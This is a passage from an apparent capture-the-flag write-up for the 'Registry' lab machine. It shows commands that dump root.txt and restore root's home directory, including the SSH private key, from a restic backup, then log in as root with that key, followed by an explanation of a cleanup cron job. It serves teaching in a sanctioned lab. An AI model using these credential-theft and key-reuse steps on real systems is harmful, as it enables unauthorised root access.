/root/.local/share/nano
/root/.profile
/root/.selected_editor
/root/.ssh
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_rsa.pub
/root/.wget-hsts
/root/config.yml
/root/cron.sh
/root/root.txt
I can read root.txt (again, strangely, not an md5):
root@kali# restic -r /tmp/restic/0xdf/ dump latest /root/root.txt
enter password for repository:
repository 98a0e52c opened successfully, password is correct
ntrkzgnk************************
I can also restore the entire directory contents to a local directory:
root@kali# find root/ -type f
root/.wget-hsts
root/.profile
root/cron.sh
root/.bashrc
root/.cache/motd.legal-displayed
root/.ssh/id_rsa.pub
root/.ssh/id_rsa
root/.ssh/authorized_keys
root/.selected_editor
root/root.txt
root/.config/composer/keys.tags.pub
root/.config/composer/keys.dev.pub
root/config.yml
Shell via SSH
In addition to root.txt, there’s also a .ssh/id_rsa. And it works to SSH as root to Registry:
root@kali# ssh -i ~/id_rsa_registry_root root@10.10.10.159
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-65-generic x86_64)
System information as of Fri Oct 25 13:13:13 UTC 2019
System load: 0.0 Users logged in: 1
Usage of /: 9.4% of 61.80GB IP address for eth0: 10.10.10.159
Memory usage: 32% IP address for br-1bad9bd75d17: 172.18.0.1
Swap usage: 0% IP address for docker0: 172.17.0.1
Processes: 173
Last login: Fri Oct 25 10:21:00 2019 from 10.10.14.6
root@bolt:~#
Beyond Root - Cleanup
There’s a script, cron.sh in root’s homedir:
#!/bin/bash
/bin/cp /root/config.yml /var/www/html/bolt/app/config/config.yml
/bin/rm -rf /var/www/html/bolt/files/*
This is what was deleting my webshell every couple minutes. And as it’s not cleaning up any other files, that’s why my copied webshell was able to survive. root has a cron running that runs this script every two minutes:
root@bolt:~# crontab -l
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').#
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
#
# Output of the crontab jobs (including errors) is sent through
# email to the user the crontab file belongs to (unless redirected).
#
# For example, you can run a backup of all your user accounts
# at 5 a.m every week with:
# 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/
#
# For more information see the manual pages of crontab(5) and cron(8)
#
# m h dom mon dow command
*/2 * * * * /bin/bash /root/cron.sh